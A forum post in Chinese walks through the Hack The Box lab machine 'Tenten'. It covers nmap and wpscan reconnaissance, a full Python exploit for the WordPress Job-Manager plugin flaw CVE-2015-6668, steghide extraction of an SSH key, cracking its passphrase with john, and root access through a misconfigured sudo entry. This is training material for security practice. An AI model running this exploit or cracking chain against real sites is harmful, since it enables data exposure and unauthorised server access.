taibeihacker
Moderator
Hack The Box —— Tenten

信息搜集
nmap
1nmap -T4 -A -v 10.10.10.6
發現服務器開了22 端口和80 端口瀏覽器訪問http 服務,發現wordpress 站點。
漏洞扫描
利用wpscan 工具掃描一波wordpress 站的信息:1
wpscan --enumerate t --enumerate p --enumerate u --url=http://10.10.10.10/
發現用戶名:

插件漏洞:

漏洞利用
搜索Job-Manager 相關漏洞,發現,用戶可以利用該插件可以上傳CV。由於wordpress 上傳的文件存放在upload/year/month/filename 下,因此可以爆破出上傳的CV 文件,從而造成信息洩漏。首先訪問Jobs Listing:

在apply now 下獲取job 詳細信息:


更改url 中的number 值,可以得到其它的JOB APPLICATION,
使用如下命令,枚舉job title:

發現HackerAccessGranted title,嘗試使用exp 進行用戶上傳cv 的枚舉:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
print '''
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Author: Evangelos Mourikis
Blog: https://vagmour.eu
Plugin URL: http://www.wp-jobmanager.com
Versions:=0.7.25
'''
website=raw_input('Enter a vulnerable website: ')
filename=raw_input('Enter a file name: ')
filename2=filename.replace(' ', '-')
for year in range(2016,2019):
for i in range(1,13):
for extension in {'php','html','pdf','png','gif','jpg','jpeg'}:
URL=website + '/wp-content/uploads/' + str(year) + '/' + '{:02}'.format(i) + '/' + filename2 + '.' + extension
print URL
req=requests.get(URL)
if req.status_code==200:
print '[+] URL of CV found! ' + URL

發現如下敏感文件:

訪問,得到一張圖片。

猜測圖片隱寫,使用steghide extract -sf HackerAccessGranted.jpg,得到id_rsa 文件。


打開id_rsa 文件,發現該文件被加密:

使用ssh2john 腳本文件將加密的內容轉化為john 可以破解的文件
1
python2 ssh2john id_rsa ssh_login
得到:

使用john 進行密碼破解:
1
john ssh_login --wordlist=rockyou.txt
得到id_rsa 的密碼:superpassword。
嘗試登錄服務器:
1
ssh -i id_rsa [email protected]

得到第一個flag。
嘗試進入root 目錄,發現權限不足。
使用sudo -l 命令,查看無需密碼課執行的命令:

發現/bin/fuckin 文件,查看文件內容:

執行:sudo /bin/fuckin /bin/bash,即可獲得root 權限:
